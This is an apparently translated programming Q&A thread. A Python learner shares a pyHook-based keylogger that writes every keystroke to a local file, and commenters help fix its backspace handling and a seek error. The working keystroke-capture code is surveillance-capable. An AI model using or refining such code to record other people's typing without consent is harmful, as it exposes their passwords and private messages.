2017-01-20 8 views
1

저는 현재 파이썬을 배우면서 유튜브에 간단한 파이썬 키로거를 만드는 방법을 보여주는 흥미로운 비디오를 발견했습니다. 나는 그것을 약간 수정하고 사용자가 backspace를 누를 때 마지막 문자를 삭제할 수 있도록하기 위해 seek 문과 truncate 메서드를 사용하여 if 문을 추가했습니다.백 스페이스 키 (파이썬)를 누를 때 Keylogger에서 오류가 발생합니다.

import pyHook, pythoncom, os 

file_log = "D:/Python Projects/log.txt" 


def OnKeyboardEvent(event): 
    global keylog 
    keylog = chr(event.Ascii) 
    with open(file_log, "a") as fl: 
     if event.Ascii == 13: 
      fl.write("\n") 
     elif event.Ascii == 8: 
      fl.seek(-1, os.SEEK_END) 
      fl.truncate() 
     else: 
      fl.write(keylog) 
     fl.close() 
    return True 

hooking = pyHook.HookManager() 
hooking.KeyDown = OnKeyboardEvent 
hooking.HookKeyboard() 
pythoncom.PumpMessages() 

그러나 나는 코드를 실행하려고하면 백 스페이스 키를 나는 다음과 같은 오류가 눌렀을 때 :

io.UnsupportedOperation: can't do nonzero end-relative seeks 

그래서, 사람이 좀 도와 줄래? 또한 키로거는 모든 문자를 대문자로 저장합니다. 문자가 낮은 문자인지 아니면 높은 문자인지를 인식하고 그 방식으로 저장하도록 스크립트를 수정하는 방법이 있습니까?

+0

[이 다른 질문] (https://stackoverflow.com/questions/21533391/seeking-from-end-of-file-throwing-unsupported-exception)에 설명 된 문제가 발생한 것 같습니다. –

+0

당신은'keylog' 변수를 전역 변수로 만들어서는 안됩니다. 이럴 이유가 없습니다. – blubberdiblub

답변

-1

이 시도 : 나단에

if event.Ascii == 8: 
    while event.Ascii == 8 and os.stat(file_log).st_size >= 1: 
     f = open(file_log,'r+') 
     f.seek(-1,2) 
     f.truncate() 
     break 
    else: 
     pass 

감사 불필요한 코드와 백 스페이스 키를 빈 파일로 누를 때 발생 된 오류를 지적합니다. 필요한 변경 사항을 추가했습니다. 모두에게 감사드립니다!

+0

'seek '오류가 발생한 후'f.read (0)'는 어떤 도움을 주나요? –

+0

그렇지 않습니다. 당신 말이 맞습니다. 이전의 노력에서 남은 것만으로도 나는 추측합니다. 좋은 캐치! 감사! – MiggyDaMic